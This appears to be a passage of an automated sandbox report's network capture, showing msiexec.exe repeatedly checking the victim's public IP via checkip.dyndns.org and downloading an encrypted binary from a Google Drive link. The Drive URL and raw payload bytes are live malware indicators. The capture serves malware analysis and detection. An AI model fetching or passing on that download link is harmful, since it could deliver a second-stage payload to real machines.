0	192.168.2.9	49859	193.122.130.0	80	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 13:47:36.736192942 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 13:47:37.927936077 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 12:47:37 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 709a846a313e38a74b01518aa3e41fd2 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 25, 2024 13:47:37.931982994 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 25, 2024 13:47:38.271902084 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 12:47:38 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6b54375dd2e30e8460b4692aeff83682 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>
Nov 25, 2024 13:47:40.501069069 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 25, 2024 13:47:40.839667082 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 12:47:40 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: cbac6c02ab9faf2cef5e36988495ef94 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49877	193.122.130.0	80	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 13:47:43.433701992 CET	127	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org
Nov 25, 2024 13:47:44.581835985 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 12:47:44 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 68867a8225eb31632d59a327f7a710e4 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49885	193.122.130.0	80	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 13:47:47.024539948 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 13:47:48.429419041 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 12:47:48 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1d1209ff26a9b1dc42e42b9861518935 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49896	193.122.130.0	80	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 13:47:50.557024002 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 13:47:51.699713945 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 12:47:51 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1c3439e5414245faa1727346661d81e1 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49907	193.122.130.0	80	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 13:47:53.864502907 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 13:47:55.006190062 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 12:47:54 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 1e9256c0f28220131d3dbdfeac3f0985 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49915	193.122.130.0	80	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 13:47:57.303009987 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 13:47:58.452670097 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 12:47:58 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: e0fda265995584fc061a0ca17dd96139 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49925	193.122.130.0	80	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 13:48:00.758322001 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 13:48:02.204852104 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 12:48:02 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 0361566d234a7dc12bd4fff05575bea4 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.9	49935	193.122.130.0	80	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 13:48:04.375278950 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 13:48:05.517107964 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 12:48:05 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 171c3f56e5617d5edaedf6243f029a36 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.9	49945	193.122.130.0	80	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 13:48:07.757415056 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 13:48:08.902054071 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 12:48:08 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 801976b768fc96dc1a7b32c51a882f44 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.9	49953	193.122.130.0	80	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 13:48:11.022012949 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 13:48:12.164453983 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 12:48:12 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 6e6298a24a9c70d51f39a0586b3b8965 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.9	49962	193.122.130.0	80	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 13:48:14.338361025 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 13:48:15.517761946 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 12:48:15 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ba8067cbe89ee3fecb3cd173873f8fe8 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.9	49972	193.122.130.0	80	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 13:48:17.788270950 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 13:48:18.932955980 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 12:48:18 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8ab8f36b382fafd443ac27ad8a0b5e8b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.9	49982	193.122.130.0	80	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 13:48:21.128218889 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 13:48:22.273792982 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 12:48:22 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ba0aee04237918e0bab2dfd480c33789 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.9	49991	193.122.130.0	80	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 13:48:24.586792946 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 13:48:25.785875082 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 12:48:25 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 425ff835c6a37747acc30e601d69eb5b Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.9	50000	193.122.130.0	80	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 13:48:28.016746998 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 13:48:29.166765928 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 12:48:29 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 0059c8857acfbd3a3e01d789c3cf0440 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.9	50009	193.122.130.0	80	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
Nov 25, 2024 13:48:31.760080099 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Nov 25, 2024 13:48:32.912528038 CET	320	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 12:48:32 GMT Content-Type: text/html Content-Length: 103 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 72669b1029a91b4641db9dca90c95843 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.75</body></html>

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49838	172.217.19.174	443	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:47:30 UTC	216	OUT	GET /uc?export=download&id=1XP537jSAqL8SFgV2TDn9D-Q9vzNT4ikj HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: drive.google.com Cache-Control: no-cache
2024-11-25 12:47:31 UTC	1920	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Mon, 25 Nov 2024 12:47:30 GMT Location: https://drive.usercontent.google.com/download?id=1XP537jSAqL8SFgV2TDn9D-Q9vzNT4ikj&export=download Strict-Transport-Security: max-age=31536000 Content-Security-Policy: script-src 'nonce-FJW6Y43zXalGnjxdIAdtzg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: script-src 'unsafe-inline' 'unsafe-eval' blob: data: 'self' https://apis.google.com https://ssl.gstatic.com https://www.google.com https://www.googletagmanager.com https://www.gstatic.com https://www.google-analytics.com;report-uri /_/DriveUntrustedContentHttp/cspreport/allowlist Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy-Report-Only: script-src 'unsafe-inline' 'unsafe-eval' blob: data: https://translate.google.com/translate_a/element.js https://www.google-analytics.com/analytics.js https://translate.googleapis.com/_/translate_http/_/js/;report-uri /_/DriveUntrustedContentHttp/cspreport/fine-allowlist Cross-Origin-Opener-Policy: same-origin Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.9	49848	142.250.181.1	443	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:47:33 UTC	258	OUT	GET /download?id=1XP537jSAqL8SFgV2TDn9D-Q9vzNT4ikj&export=download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive
2024-11-25 12:47:35 UTC	4911	IN	HTTP/1.1 200 OK Content-Type: application/octet-stream Content-Security-Policy: sandbox Content-Security-Policy: default-src 'none' Content-Security-Policy: frame-ancestors 'none' X-Content-Security-Policy: sandbox Cross-Origin-Opener-Policy: same-origin Cross-Origin-Embedder-Policy: require-corp Cross-Origin-Resource-Policy: same-site X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="LFLZxLHDbv221.bin" Access-Control-Allow-Origin: * Access-Control-Allow-Credentials: false Access-Control-Allow-Headers: Accept, Accept-Language, Authorization, Cache-Control, Content-Disposition, Content-Encoding, Content-Language, Content-Length, Content-MD5, Content-Range, Content-Type, Date, developer-token, financial-institution-id, X-Goog-Sn-Metadata, X-Goog-Sn-PatientId, GData-Version, google-cloud-resource-prefix, linked-customer-id, login-customer-id, x-goog-request-params, Host, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, Origin, OriginToken, Pragma, Range, request-id, Slug, Transfer-Encoding, hotrod-board-name, hotrod-chrome-cpu-model, hotrod-chrome-processors, Want-Digest, X-Ad-Manager-Impersonation, x-chrome-connected, X-ClientDetails, X-Client-Pctx, X-Client-Version, x-debug-settings-metadata, X-Firebase-Locale, X-Goog-Firebase-Installations-Auth, X-Firebase-Client, X-Firebase-Client-Log-Type, X-Firebase-GMPID, X-Firebase-Auth-Token, X-Firebase-AppCheck, X-Firebase-Token, X-Goog-Drive-Client-Version, X-Goog-Drive-Resource-Keys, X-GData-Client, X-GData-Key, X-GoogA [TRUNCATED] Access-Control-Allow-Methods: GET,HEAD,OPTIONS Accept-Ranges: bytes Content-Length: 63040 Last-Modified: Mon, 18 Nov 2024 23:31:15 GMT X-GUploader-UploadID: AFiumC4W2RTVd9WDVyqgK1FNJ5pmYT8cvRPnwFRaL47vG0b18BrwdQ3qwzCPzgfs4JpkprT_A0U Date: Mon, 25 Nov 2024 12:47:35 GMT Expires: Mon, 25 Nov 2024 12:47:35 GMT Cache-Control: private, max-age=0 X-Goog-Hash: crc32c=lgD8Zg== Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-25 12:47:35 UTC	4911	IN	Data Raw: 01 99 f5 82 c7 26 8c e9 1a 46 10 b2 95 ae f8 45 c2 5b 86 57 76 16 97 5f b5 44 f7 ee 16 3a 77 68 28 76 b1 0b f3 6a e3 75 49 fe ef 15 ba f3 0e ba 19 8e ab 84 34 53 23 25 a7 ab 92 2a 7e 7c af 92 67 77 01 2f 94 32 30 0f f0 1c b0 ed c1 51 ec d7 35 db b2 51 3f 49 bd 37 fb a2 c4 d8 37 8a 40 49 07 61 25 cf 3f 3f c7 32 90 42 af 98 51 aa ac a8 81 1f ee 3c 4d 2d 53 9b 4e 3d 2e 46 ef 06 9c 97 54 38 da cc e1 15 46 59 f0 dd 0d 96 fd 76 53 b4 d8 5c 42 38 61 6e 6c e5 bc 04 2e 92 8b 0b 40 2a 06 8d e7 3a 1e 47 bc 0e 4b 66 ff 44 50 1c 59 f3 95 00 99 a3 8c 0f 62 38 2a a4 08 6c 76 02 e7 b6 e5 20 d9 2b c3 58 14 1f 07 ba 48 5d fc 44 18 7e 73 45 a6 93 60 ad e6 f3 0b 83 7b f3 5e e8 d3 dc 58 11 ed 45 58 0c df 08 d3 50 3c 93 b8 5e c6 23 fc fb 22 35 ad b9 02 ee 5a 3d 3b 0e fe 85 79 Data Ascii: 